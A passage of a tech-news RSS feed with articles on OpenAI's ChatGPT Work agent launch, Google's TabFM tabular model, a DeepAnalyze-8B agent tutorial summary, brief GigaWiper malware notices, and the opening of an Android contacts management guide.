<content:encoded><![CDATA[<p><a href="https://openai.com/">OpenAI</a> on Thursday launched <a href="https://openai.com/index/chatgpt-for-your-most-ambitious-work/">ChatGPT Work</a>, a new AI agent embedded inside its flagship chatbot that aims to transform ChatGPT from a question-and-answer tool into an autonomous work platform capable of executing complex, multi-step tasks across users' email, calendars, code repositories, and messaging apps.</p><p>The product is powered by OpenAI's latest flagship model, <a href="https://openai.com/index/gpt-5-6/">GPT-5.6</a>, and is designed to go far beyond generating text. ChatGPT Work can gather context from connected apps, files, and workflows to produce finished documents, spreadsheets, presentations, reports, and websites. The agent takes a stated outcome, breaks it into smaller steps, and stays with complex projects for hours, completing them independently.</p><p>The launch marks OpenAI's clearest attempt yet to reposition ChatGPT as a workplace platform rather than a chatbot — and it arrives at a moment of extraordinary financial significance for the company. Last month, OpenAI <a href="https://openai.com/index/openai-submits-confidential-s-1/">confidentially submitted a draft S-1 registration statement</a> to the SEC, initiating what could become one of the largest technology IPOs in history, with reported valuations <a href="https://www.cnbc.com/2026/03/31/openai-funding-round-ipo.html">clustering between $730 billion and $852 billion</a> and annualized revenue that has blown past $25 billion.</p><p>In a short demonstration and conversation with VentureBeat on Friday, Ty Geri, a product manager at OpenAI who helped build ChatGPT Work, said the product's mission is to democratize the kind of agentic AI capabilities that OpenAI's internal engineering tool, Codex, has already demonstrated. "What's really exciting is we've seen how much Codex has been able to push the frontier of what we can get done with these AI tools, as opposed to just getting information or answers or guidance," Geri said. "Our internal adoption of Codex is literally an exponential curve across every single product function and every single use case."</p><h2><b>Why OpenAI built a persistent virtual machine that works from the beach</b></h2><p>The core architectural bet behind <a href="https://openai.com/index/chatgpt-for-your-most-ambitious-work/">ChatGPT Work</a> is a persistent cloud-based virtual machine that runs on OpenAI's servers, always available to the user regardless of which device they happen to be on. That marks a deliberate departure from competitors whose agents require a local machine to remain powered on and connected.</p><p>"What's really exciting about ChatGPT Work is that it's a virtual machine in the cloud that's always on for you, and this is available across all of our paid tiers," Geri said. "All Plus users are getting this. I think that's a very unique aspect of this."</p><p>The mobile-first aspect of the launch is something Geri described as "missing from the market." He pointed to the ability to create a website on a phone and share it with collaborators as a particularly novel capability. "Sites are new in general to Codex. They launched in Codex about a week and a half ago, but now we're launching also in web and mobile. You can create a site on your phone at the beach and share it with your friends," he said.</p><p><a href="https://openai.com/index/chatgpt-for-your-most-ambitious-work/">ChatGPT Work</a> will roll out beginning with <a href="https://chatgpt.com/pricing/?utm_source=google&amp;utm_medium=paid_search&amp;utm_campaign=GOOG_C_SEM_GBR_Premium_CHT_BAU_ACQ_PER_MIX_ALL_NAMER_US_EN_081125&amp;c_id=22874197666&amp;c_agid=184333759620&amp;c_crid=778419668389&amp;c_kwid=kwd-1931160859103&amp;c_ims=&amp;c_pms=9061275&amp;c_nw=g&amp;c_dvc=c&amp;gad_source=1&amp;gad_campaignid=22874197666&amp;gbraid=0AAAAA-I0E5eVxMdRuuMlOhjqMjAi2KCBS&amp;gclid=Cj0KCQjwsMLSBhD9ARIsAIpUTDoJ61xQZv3XpwtAkZ20Et-Y9TM9_exet3Bh9O9h2kxVcpfmgHkyx68aAlw-EALw_wcB">Pro, Enterprise, and Edu users</a>, and will expand to Plus and Business users over the next few days. In the interview, Geri emphasized that the availability of the product to Plus subscribers — not just premium tiers — is central to OpenAI's strategy. "It's accessible to all paid plans, including Plus users, which in my opinion is a really big feat, and really part of that OpenAI mission, which is about bringing all this power to as many people," he said.</p><h2><b>How MCP plugins connect ChatGPT Work to Slack, Gmail, and GitHub</b></h2><p>The product relies on MCP-based plugins to connect to external services like Gmail, Google Calendar, Slack, and GitHub. When asked whether the plugin architecture is based on the <a href="https://modelcontextprotocol.io/docs/getting-started/intro">Model Context Protocol standard</a>, Geri confirmed: "These are all based on MCP." He added that connecting multiple Gmail accounts — a frequent user request — "is definitely on the roadmap."</p><p>The experience is designed to be action-oriented from the first interaction. <a href="https://openai.com/index/chatgpt-for-your-most-ambitious-work/">ChatGPT Work</a> offers a personalized onboarding flow that surfaces different suggested use cases depending on the user's role. Geri demonstrated how the system, detecting his role as a product manager, immediately suggested tasks like evaluating AI systems, building research artifacts, and managing his calendar. "You can start with a simple task like catch me up on Slack or Teams or read today's calendar," Geri said. He described a scenario where the system reviewed his calendar, identified scheduling conflicts, flagged meetings requiring preparation, and then — on his instruction — declined, accepted, or rescheduled events directly.</p><p>Users can also customize the agent by teaching it their writing style, organizing outputs into projects, and — in a lighter touch — choosing a virtual pet that accompanies them in the interface. The interface also introduces a hosted website feature that allows users to build and share interactive sites directly through ChatGPT Work, turning what would typically be a static slide deck into a dynamic, collaborative artifact. "Now we suddenly have a collaborative interface that's actually more exciting and more accessible than a slide deck, which has all these formatting restrictions," Geri said.</p><h2><b>Scheduling 10 bug bashes at once: what agentic productivity looks like in practice</b></h2><p>Geri's own usage of <a href="https://openai.com/index/chatgpt-for-your-most-ambitious-work/">ChatGPT Work</a> illustrates the breadth of tasks the system can handle. In the run-up to the product's launch, he needed to organize pre-release testing sessions — known internally as "bug bashes" — across dozens of features and team members.</p><p>"I just come to ChatGPT Work and say, 'Set up a bug bash for all the distinct features in ChatGPT Work. Add all the people that worked on that feature,' and it can check Slack, it can check GitHub, it can check Docs, and find a time that works for the four highest contributors to that feature," Geri said. "It went and scheduled 10 bug bashes, all coordinated across all those different people. That would have taken me 30 minutes at least."</p><p>But Geri pushed back against the characterization that <a href="https://openai.com/index/chatgpt-for-your-most-ambitious-work/">ChatGPT Work</a> is limited to rote administrative work. He described using it for analytically complex tasks like identifying the biggest causes of user churn for specific product features and generating product solutions — work he said would previously have taken months. "Things that we would have spent three months doing, we can now spend a week doing — and do much more, and make a much better product," Geri said. "Bugs that we would have found three or four weeks from now, we can now find within two days and fix for our users."</p><p>He also described handing off the tedium of product testing itself. "It used to be that even though like the most interesting part of my job is like what to test, I would actually end up having to spend most of my job doing the testing, which is like me taking a mouse and like clicking on the same thing over and over again, like five times," Geri said. "Instead, now I can define what do we want to test, and ChatGPT Work or Codex can actually go test it for me, deliver me that bug report, and then we can work on fixing that bug."</p><h2><b>What OpenAI says about data privacy when AI reads your Slack and email</b></h2><p>When pressed on data privacy concerns — given that ChatGPT Work pulls sensitive information from workplace tools like Slack, Google Drive, and email — Geri said privacy "is incredibly important, and the most important part of this is it's always in the user's control."</p><p>He pointed to OpenAI's existing enterprise security infrastructure, noting that "enterprise accounts have ZDR, and users can always opt out of letting their conversations help improve future models, which many users do." The comment aligns with assurances OpenAI made when it first launched ChatGPT Enterprise in August 2023, when the company wrote in a blog post that it does "<a href="https://openai.com/index/introducing-chatgpt-enterprise/">not train on your business data or conversations</a>."</p><p>The privacy question carries additional weight now because of the sheer volume of sensitive workplace data ChatGPT Work is designed to access. Unlike a chatbot session where a user voluntarily pastes text into a prompt, ChatGPT Work actively reaches into connected systems — reading Slack messages, scanning calendar invitations, pulling GitHub commit histories — to assemble context for its tasks. That represents a fundamentally different data surface area than anything OpenAI has offered before, and one that enterprise security teams will scrutinize carefully before granting access.</p><h2><b>ChatGPT Work enters a three-way arms race with Anthropic and Microsoft</b></h2><p>ChatGPT Work lands squarely in the middle of what has become the defining competitive battlefield in enterprise AI: the race to build autonomous workplace agents that can go beyond generating text and actually execute tasks.</p><p>The product arrives months after Anthropic took <a href="https://claude.com/product/cowork">Claude Cowork</a> out of preview and into general availability in April, bringing its AI agent to web and mobile platforms aimed at helping enterprise users monitor and manage long-running AI-driven tasks from anywhere. Meanwhile, Microsoft made <a href="https://www.microsoft.com/en-us/microsoft-365-copilot/cowork">Copilot Cowork</a> generally available worldwide on June 16, built in partnership with Anthropic to move beyond chat and into execution. The three products — ChatGPT Work, Claude Cowork, and Microsoft Copilot Cowork — now compete directly for the attention of enterprise IT departments and individual knowledge workers alike.</p><p>The convergence is striking. All three products share a remarkably similar vision: a persistent AI agent running in the cloud that can break complex tasks into steps, connect to workplace tools via plugins, and produce finished outputs rather than just conversational replies. All three work across desktop, web, and mobile.</p><p>What distinguishes OpenAI's approach is its raw consumer distribution advantage. ChatGPT has reached <a href="https://openai.com/index/scaling-ai-for-everyone/">900 million weekly active users</a>, and OpenAI now has <a href="https://openai.com/index/scaling-ai-for-everyone/">50 million paying subscribers</a>. More than 9 million paying business users rely on ChatGPT for work, and 92% of Fortune 500 companies now use ChatGPT. By making ChatGPT Work available to Plus subscribers at $20 a month — not just Enterprise or Pro customers — OpenAI is betting that broad accessibility will drive adoption faster than any competitor can match.</p><h2><b>OpenAI's product manager says AI is a partner, not a replacement — with a caveat</b></h2><p>When asked about the potential impact on the labor market, Geri was careful with his framing. He declined to speak broadly about workforce disruption but offered his personal experience as a product manager whose day-to-day work has been substantially reshaped by the tool.</p><p>"My job is not to schedule bug bashes and find out who contributed to a specific feature. That's a task I do in my job, but that's not my job," Geri said. "My job is to make an amazing product." He described ChatGPT Work as "a partner" and "an extension of me, certainly not a replacement," adding: "Everybody feels far more productive than before, but is also almost working harder than before, because you get to work on all the things you want to work on as opposed to the drudgery around it."</p><p>But Geri was also careful not to minimize the sophistication of the work the agent can handle. "I also don't want to say that it's only doing mundane tasks because, like something like hill climbing retention curves on a given feature is not mundane. It's actually really hard to do," he said. The distinction matters. If <a href="https://openai.com/index/chatgpt-for-your-most-ambitious-work/">ChatGPT Work</a> were merely automating calendar invitations and expense reports, it would be a convenience tool. The fact that Geri describes it compressing three months of analytical product work into a single week suggests something with far greater implications for how teams are structured and staffed.</p><h2><b>An IPO-bound company needs ChatGPT Work to prove enterprise AI can generate revenue</b></h2><p>The timing of ChatGPT Work's launch is impossible to separate from OpenAI's IPO trajectory. The company needs to demonstrate that it can convert its massive consumer user base into durable enterprise revenue — a narrative that becomes significantly more compelling with a product explicitly designed around professional workflows.</p><p>OpenAI said it is generating <a href="https://openai.com/index/accelerating-the-next-phase-ai/">$2 billion in revenue per month</a>, growing four times faster than Alphabet and Meta did at comparable stages, with enterprise now making up more than 40% of revenue and on track to reach parity with consumer by the end of 2026. But OpenAI remains heavily loss-making, and <a href="https://fortune.com/2025/11/26/is-openai-profitable-forecast-data-center-200-billion-shortfall-hsbc/">the company does not expect to reach profitability until around 2030</a>, with internal projections suggesting losses of $14 billion in 2026 alone.</p><p>The competitive dynamics are unprecedented. Anthropic filed for its own IPO on June 1 at a <a href="https://www.reuters.com/business/anthropic-raises-65-billion-now-valued-965-billion-2026-05-28/">$965 billion valuation</a>, setting up simultaneous public listings from the two most prominent AI startups in history. Whether both can sustain their lofty valuations under the scrutiny of public market investors will depend in large part on whether products like ChatGPT Work and Claude Cowork deliver measurable productivity gains to paying enterprise customers.</p><p>The launch also caps a product trajectory that began with <a href="https://chatgpt.com/business/?utm_source=google&amp;utm_medium=paid_search&amp;utm_campaign=GOOG_B_SEM_GBR_Core-Generic_MIX_BAU_ACQ_PER_MIX_ALL_NAMER_US_EN_042826&amp;c_id=23786098075&amp;c_agid=193601180617&amp;c_crid=806361782592&amp;c_kwid=aud-2471394551488:kwd-1933117063409&amp;c_ims=&amp;c_pms=9061275&amp;c_nw=g&amp;c_dvc=c&amp;gad_source=1&amp;gad_campaignid=23786098075&amp;gbraid=0AAAAA-I0E5fOwq9zncww98G13-WJxCPbT&amp;gclid=Cj0KCQjwsMLSBhD9ARIsAIpUTDonc5DPxzLgOO1GFI9yNaazBtf33Yums0oGIg1CR79ZRSiXK0LbcVkaAg9uEALw_wcB">ChatGPT Enterprise</a> in August 2023, accelerated through the release of OpenAI's Operator agent in January 2025, and continued through Operator's deprecation and shutdown on August 31, 2025, when its capabilities were folded into the ChatGPT agent framework. ChatGPT Work is the consolidation of those efforts into a single, unified product — one that pairs <a href="https://openai.com/index/gpt-5-6/">GPT-5.6's three model variants</a> (Sol for power, Luna for speed, and Terra for balanced everyday use) with a persistent cloud environment and an expanding library of MCP plugins.</p><h2><b>The future of work may already be running in the cloud</b></h2><p>When asked whether ChatGPT Work signals a shift toward a new kind of operating system — one where users interact with their computers primarily through an AI agent rather than through traditional mouse-and-keyboard interfaces — Geri stopped short of making sweeping predictions. But he hinted at the direction OpenAI sees ahead.</p><p>"Anybody who has worked with Codex or now ChatGPT Work will realize how exciting it is to interact with your environment and your computer via the agent," he said. "Especially in the desktop app, where the model has access to your entire machine and can interact with websites on your behalf — it's really able to be an extension of you and a real partner, and that certainly feels like the future."</p><p>At the end of the interview, Geri circled back to something personal. "I've never enjoyed work as much as I have in the last month using ChatGPT Work and Codex," he said — a striking admission from a product manager who, until recently, spent a meaningful share of his days clicking through the same interface five times in a row just to see if it would break. OpenAI is now asking 900 million users to believe that feeling scales. For a company weeks away from one of the largest public offerings in history, the answer to that question is worth roughly $850 billion.</p><p>
</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to Build a T4-Friendly Autonomous Data Science Agent with DeepAnalyze-8B, Sandboxed Code Execution, and Iterative Analysis]]></title>
<description><![CDATA[We build an autonomous data science agent around DeepAnalyze-8B and run it end to end. We prepare a stable Colab runtime, install the machine-learning dependencies, and load the tokenizer and model in 4-bit mode to fit limited GPU memory. We add a sandboxed execution environment that lets the mod...]]></description>
<link>https://tsecurity.de/de/3660699/ai-nachrichten/how-to-build-a-t4-friendly-autonomous-data-science-agent-with-deepanalyze-8b-sandboxed-code-execution-and-iterative-analysis/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3660699/ai-nachrichten/how-to-build-a-t4-friendly-autonomous-data-science-agent-with-deepanalyze-8b-sandboxed-code-execution-and-iterative-analysis/</guid>
<pubDate>Fri, 10 Jul 2026 21:33:48 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>We build an autonomous data science agent around DeepAnalyze-8B and run it end to end. We prepare a stable Colab runtime, install the machine-learning dependencies, and load the tokenizer and model in 4-bit mode to fit limited GPU memory. We add a sandboxed execution environment that lets the model generate Python, run it safely, observe results, and continue in an agentic loop. We then hand the agent a multi-file e-commerce workspace and let it clean, join, analyze, visualize, and summarize the data as an analyst-grade report.</p>
<p>The post <a href="https://www.marktechpost.com/2026/07/10/how-to-build-a-t4-friendly-autonomous-data-science-agent-with-deepanalyze-8b-sandboxed-code-execution-and-iterative-analysis/">How to Build a T4-Friendly Autonomous Data Science Agent with DeepAnalyze-8B, Sandboxed Code Execution, and Iterative Analysis</a> appeared first on <a href="https://www.marktechpost.com/">MarkTechPost</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Google's TabFM skips per-dataset training and still predicts on tables it's never seen]]></title>
<description><![CDATA[The vast majority of business data is tabular — living in data warehouses, CRMs, and financial ledgers — yet building a reliable model from it still means training a new one from scratch for every dataset, then maintaining hyperparameter tuning loops, feature engineering, and retraining pipelines...]]></description>
<link>https://tsecurity.de/de/3660555/it-nachrichten/googles-tabfm-skips-per-dataset-training-and-still-predicts-on-tables-its-never-seen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3660555/it-nachrichten/googles-tabfm-skips-per-dataset-training-and-still-predicts-on-tables-its-never-seen/</guid>
<pubDate>Fri, 10 Jul 2026 20:03:33 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The vast majority of business data is tabular — living in data warehouses, CRMs, and financial ledgers — yet building a reliable model from it still means training a new one from scratch for every dataset, then maintaining hyperparameter tuning loops, feature engineering, and retraining pipelines to fight data drift. Google Research is proposing a way around that: <a href="https://research.google/blog/introducing-tabfm-a-zero-shot-foundation-model-for-tabular-data/">a new foundation model called TabFM</a> that treats tabular prediction as an in-context learning problem instead.</p><p>It can generate predictions for a new, unseen table in a single forward pass. For enterprise developers and AI engineers, this reduces the time-to-production from weeks of pipeline engineering to a single API call.</p><h2>The challenge with traditional ML</h2><p>To extract reliable predictions from a gradient-boosted tree, data scientists must build and maintain complex data pipelines. They have to clean messy inputs, impute missing values, encode categorical variables into numerical formats, and engineer custom feature crosses.</p><p>Once the data is ready, they must run repetitive hyperparameter optimization loops, searching across learning rates, tree depths, subsampling ratios, and regularization grids to find the best configuration. </p><p>Once deployed, these traditional models "incur ongoing operational debt through data drift monitoring and retraining pipelines to stay accurate," Weihao Kong, Research Scientist at Google Research, told VentureBeat.</p><p>Meanwhile, the rest of the AI industry has moved on. Generative AI models for text and computer vision have seamlessly shifted to zero-shot inference, where a model can perform a completely new task simply by being prompted with context. </p><p>Large language models (LLMs) already excel at <a href="https://venturebeat.com/business/fine-tuning-vs-in-context-learning-new-research-guides-better-llm-customization-for-real-world-tasks">in-context learning</a>, so why can't we just feed tables into an off-the-shelf LLM?</p><p>Because LLMs are trained on natural language rather than structured data, they struggle to process tables directly. First, their context limits are exhausted quickly by medium-sized tables containing just a few thousand rows and hundreds of columns. Second, LLMs suffer from tokenization inefficiency, awkwardly splitting numerical values and destroying mathematical precision. Finally, they suffer from structural blindness. When a 2D table is serialized as a 1D text string, LLMs lose track of which value belongs to which row and column as the table grows. </p><p>"That's why, today, it is far more effective to use an LLM to write the code that handles feature engineering and calls XGBoost than to ask the LLM to read the table itself," Kong said.</p><h2>What is TabFM?</h2><p>To run inference with TabFM, you do not update any model weights. Instead, you take your historical examples (the training rows with their known labels) and your target rows (the new data you want to predict) and pass them to the model as a single, unified prompt. The model learns to interpret the relationships between columns and rows directly from this context at runtime.</p><p>For example, consider an enterprise analyst trying to predict customer churn. Instead of building a bespoke data pipeline and training an XGBoost model, they can simply pass a sample of historical user session data alongside a new, active session into TabFM. In one forward pass, the model returns an instant churn probability. </p><p>TabFM overcomes the limitations of LLMs by treating the data as a grid, preserving its structural integrity without forcing it into a single-dimensional text string.</p><p>To effectively process diverse tabular structures while enabling scalable zero-shot prediction, TabFM synthesizes the strengths of earlier experimental architectures, TabPFN and TabICL. <a href="https://github.com/PriorLabs/tabpfn">TabPFN</a>, developed by Prior Labs, first proved that a transformer architecture could perform zero-shot classification on small tables, though it struggled to scale computationally to larger datasets. </p><p>Later, <a href="https://dl.acm.org/doi/10.5555/3780338.3782366">TabICL</a>, developed by France's National Research Institute for Digital Science and Technology, addressed this bottleneck by introducing row compression, allowing in-context learning to efficiently process much larger tables. </p><p>TabFM combines TabPFN's deep feature contextualization with TabICL's efficient compression into a novel hybrid design built on three key mechanisms:</p><p><b>1. Alternating row and column attention:</b> The raw table is first processed through a multilayer attention module that alternates across both columns (features) and rows (examples). By continuously attending across these two dimensions, the model natively captures complex feature interactions. This deep contextualization does the heavy lifting that would usually require tedious manual feature crafting by data scientists.</p><p><b>2. Row compression:</b> Following this contextualization, the cross-attended information for each row is compressed into a single, dense vector representation. TabICL pioneered this by using CLS tokens to compress a row's rich information into one vector, "in contrast to TabPFN v2, v2.5, and v2.6, which attend over the full cell grid throughout the network," Kong explained. This drastically shrinks the computational footprint.</p><p><b>3. In-context learning (ICL):</b> A causal Transformer then operates on this sequence of compressed embeddings. This Transformer model uses the attention mechanism of TabICL to attend over these dense row vectors, drastically reducing the computation cost and allowing the model to process large datasets efficiently.</p><p>A major selling point of TabFM is its pretraining recipe. The model was trained entirely on hundreds of millions of synthetic datasets. These datasets were dynamically generated using structural causal models (SCMs) that incorporate a wide variety of random functions. By training exclusively on synthetic SCMs, TabFM learned the fundamental mathematical priors of how tabular features interact without ingesting real-world, confidential CSV files.</p><h2>TabFM in action</h2><p>To test the model's capabilities, Google researchers benchmarked TabFM on TabArena, a comprehensive evaluation suite spanning 51 diverse tabular datasets across 38 classification and 13 regression tasks.</p><p>On these public benchmarks, TabFM's zero-shot predictions already match or beat heavily tuned supervised baselines. However, Google is careful to note that this does not automatically mean TabFM will universally dethrone bespoke, hyper-optimized production models on every enterprise workload.</p><p>"Instead of replacing hyper-optimized production models, the true practical business value it unlocks for lean engineering teams is velocity," Kong said. "It allows data analysts and backend engineers to instantly spin up high-quality baseline models without a dedicated data science team managing a complex lifecycle."</p><p>For advanced practitioners looking to squeeze out maximum accuracy, the research team also introduced a "TabFM-Ensemble" configuration. By running the model through 32 distinct variations and blending the results, TabFM pushes the performance even further. </p><h2>Getting started, trade-offs, and the cloud future</h2><p>The shift to in-context learning for tables introduces a new economic trade-off that engineering teams must consider. </p><p>With traditional algorithms, training is slow and expensive, but inference is lightning-fast and cheap. TabFM flips this dynamic. While training time drops to zero, inference becomes significantly heavier. Because the model must process the entire historical dataset as context during every single prediction, it requires more compute and memory at runtime. </p><p>In this new paradigm, "traditional machine learning training becomes the 'prefill' phase (KV caching) in the context window," Kong said. While this prefill cost is steep, it is paid only once per table, and the cache is reused across subsequent queries. "The catch is prediction latency, which no amount of caching removes," Kong added. Every new prediction requires a pass through a large transformer. "Any production API requiring single-digit-millisecond response times cannot tolerate TabFM's forward-pass overhead."</p><p>For developers looking to evaluate the model today, the barrier to entry is low. Google designed TabFM as a drop-in replacement for traditional ML workflows, offering a scikit-learn compatible API (TabFMClassifier and TabFMRegressor). It natively handles mixed numerical and categorical columns, works directly with pandas DataFrames, and requires no manual ordinal encoders or numerical scalers. The library supports both JAX and PyTorch backends.</p><p>However, enterprise teams need to be aware of current limitations and licensing restrictions. The model architecture has a hard limit of 10 output classes for classification tasks, and it is optimized for tables with up to 500 features. More importantly, while Google released the <a href="https://github.com/google-research/tabfm">underlying codebase</a> under the permissive Apache 2.0 license, the pre-trained model weights are published on <a href="https://huggingface.co/google/tabfm-1.0.0-pytorch">Hugging Face</a> under a strict tabfm-non-commercial-v1.0 license. Developers can evaluate the model internally, but it cannot be deployed in commercial products yet.</p><p>Looking ahead, Google is addressing the commercial deployment friction through its cloud ecosystem. TabFM is being integrated directly into Google BigQuery, allowing analysts to run zero-shot predictions natively via an “AI.PREDICT” command. By putting foundation model inference right next to the data warehouse, TabFM could soon make complex tabular machine learning as accessible as a basic database query.</p><p>In practice, TabFM shines in rapid prototyping, high data drift environments, and small to medium-sized datasets under 100,000 rows. Conversely, teams should stick to traditional models for strict, ultra-low latency APIs, or massive tables exceeding one million rows, which currently require aggressive row sampling that degrades the foundation model's competitive advantage.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[This new Windows malware can take over your PC and wipe it clean]]></title>
<description><![CDATA[GigaWiper is a remote access Trojan that can spy on victims and permanently wipe their systems in three different ways. This article has been indexed from Malwarebytes Read the original article: This new Windows malware can take over your PC…
Read more →
The post This new Windows malware can take...]]></description>
<link>https://tsecurity.de/de/3659961/it-security-nachrichten/this-new-windows-malware-can-take-over-your-pc-and-wipe-it-clean/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3659961/it-security-nachrichten/this-new-windows-malware-can-take-over-your-pc-and-wipe-it-clean/</guid>
<pubDate>Fri, 10 Jul 2026 16:08:33 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>GigaWiper is a remote access Trojan that can spy on victims and permanently wipe their systems in three different ways. This article has been indexed from Malwarebytes Read the original article: This new Windows malware can take over your PC…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/this-new-windows-malware-can-take-over-your-pc-and-wipe-it-clean/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/this-new-windows-malware-can-take-over-your-pc-and-wipe-it-clean/">This new Windows malware can take over your PC and wipe it clean</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[This new Windows malware can take over your PC and wipe it clean]]></title>
<description><![CDATA[GigaWiper is a remote access Trojan that can spy on victims and permanently wipe their systems in three different ways.]]></description>
<link>https://tsecurity.de/de/3659878/it-security-nachrichten/this-new-windows-malware-can-take-over-your-pc-and-wipe-it-clean/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3659878/it-security-nachrichten/this-new-windows-malware-can-take-over-your-pc-and-wipe-it-clean/</guid>
<pubDate>Fri, 10 Jul 2026 15:38:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[GigaWiper is a remote access Trojan that can spy on victims and permanently wipe their systems in three different ways.]]></content:encoded>
</item>
<item>
<title><![CDATA[The ultimate guide to Android contacts management]]></title>
<description><![CDATA[You’d think keeping tabs on your contacts would be about the simplest and most straightforward task imaginable in our modern connected world — wouldn’t you?



I sure would. But as I’ve learned over the years, that perfectly understandable instinct couldn’t be more inaccurate.



Effectively wran...]]></description>
<link>https://tsecurity.de/de/3659335/it-nachrichten/the-ultimate-guide-to-android-contacts-management/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3659335/it-nachrichten/the-ultimate-guide-to-android-contacts-management/</guid>
<pubDate>Fri, 10 Jul 2026 12:03:31 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>You’d think keeping tabs on your contacts would be about the simplest and most straightforward task imaginable in our modern connected world — wouldn’t you?</p>



<p>I sure would. But as I’ve learned over the years, that perfectly understandable instinct couldn’t be more inaccurate.</p>



<p>Effectively wrangling your contacts on Android and keeping ’em manageable, organized, and optimized for efficiency really is a fine art. And in a way, it’s no wonder: Most of us have reached a point where our phones’ contacts are a sprawling goulash of earthlings from all different eras of our lives — clients, colleagues, college buddies, and, of course, your cousin Carl from Poughkeepsie.</p>



<p>Making matters even more complex is the fact that what constitutes “Android” is a wildly different experience from one device to the next. And most Android phone-makers don’t exactly make it easy for you to make the most of your messy contacts stew.</p>



<p>The good news, though, is that it doesn’t <em>have</em> to be so difficult. Today, we’ll start from square one and get your contacts in tip-top shape, no matter what type of Android phone you’re using or how many unruly old bosses’ email addresses you’ve got stored away.</p>



<p>By the time we’re done, your Android phone contacts will be as orderly as can be — and you’ll be equipped with all sorts of practical knowledge for harnessing their typically untapped potential.</p>



<h2 class="wp-block-heading">Part I: Android contacts streamlining</h2>



<p>First and foremost, we need to make sure we’re all on the same page — ’cause as we just mentioned a moment ago, the Android contacts situation is anything but standardized across the platform.</p>



<p>Specifically, if you’re using a Samsung phone, we need to get you off of Samsung’s subpar and proprietary contacts service and into Google’s better, smarter, and more platform-agnostic alternative.</p>



<p>Samsung’s main goal with its products, y’see, is to keep you within <em>its</em> own universe. The company wants you to continue using Samsung stuff and buying Samsung stuff, and it makes that more of a priority than giving you an optimal experience.</p>



<p>The company’s Contacts app is the perfect example: The app offers no noteworthy advantages over Google’s standard Android Contacts service, and it’s available <em>only</em> on Samsung-made Android devices. It’s less fully featured and pleasant to use than Google’s version, too, and it makes it much more difficult to access your contact info from a computer or any other type of device.</p>



<p>So why does Samsung insist on making that the default contacts service on its phones instead of sticking with Google’s readily available offering? Simple: because it locks you into Samsung’s self-serving ecosystem.</p>



<p>Let’s break you free, shall we?</p>



<ul class="wp-block-list">
<li>Open up the Contacts app on your phone (the one probably represented by a glaringly bright red icon).</li>



<li>Tap the three-dot menu icon in its upper-right corner, then tap “Settings” followed by “Sync contact accounts.”</li>



<li>Make sure your main Google account is present and has its toggle active on the screen that comes up next. If you don’t see it, tap the “Add account” option to add it into the mix.</li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/google-contacts-android-01-samsung-accounts-list.jpg?quality=50&amp;strip=all&amp;w=1024" alt="screenshot of samsung contacts app - sync accounts screen" class="wp-image-4173348" width="1024" height="515" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Both your Samsung account <em>and</em> your Google account need to be added and set to sync in the Samsung Contacts app.</p>
</figcaption></figure><p class="imageCredit">JR Raphael / Foundry</p></div>



<p>Got it? Good. Now, go <a href="https://play.google.com/store/apps/details?id=com.google.android.contacts" target="_blank" rel="noreferrer noopener">download the Google Contacts app</a> from the Play Store. Open it up and approve the permissions it needs to operate. Then make a point to start using <em>it </em>instead of Samsung’s silliness (which, by the by, Samsung won’t let you uninstall or even disable) from here on out.</p>



<p>If you’re using an older Samsung device and the steps described above don’t quite match what you’re seeing, poke around in the Contacts app until you find a similar set of options. They <em>should</em> be there somewhere; the specifics of the interface have just evolved somewhat over the years, so older versions of the app may not be exactly the same.</p>



<p>If you have a non-Google-made phone from someone other than Samsung, meanwhile, check to see if your contacts app is the actual Google Contacts app or not. If it isn’t — and if your device-maker gave you some other random alternative in its place — poke around in <em>that</em> app and try to find a similar set of options for syncing everything over to your Google account. If that isn’t possible, find the option to export your contacts from that app and then look for the import option within the Google Contacts Android app to get to the same spot.</p>



<h2 class="wp-block-heading">Part II: Android contacts accounts and labels</h2>



<p>Now that we’re all looking at the same place and dealing with the same best-available Android contacts management option, let’s take a few minutes to get the lay of the land, shall we?</p>



<p>When you first open the Google Contacts app on Android, you’ll see a merged view of all contacts from every Google account you have connected to the phone. But take note: If you tap the “All contacts” line toward the top of the screen, you can switch to seeing contacts associated with only one individual Google account at a time — assuming you have multiple Google accounts connected — instead of seeing them combined together all at once.</p>



<p>That could be useful if, say, you have both a work account and a personal account connected to your device — or maybe you’re a freelancer and you have <em>multiple </em>work-related accounts connected for different purposes.</p>


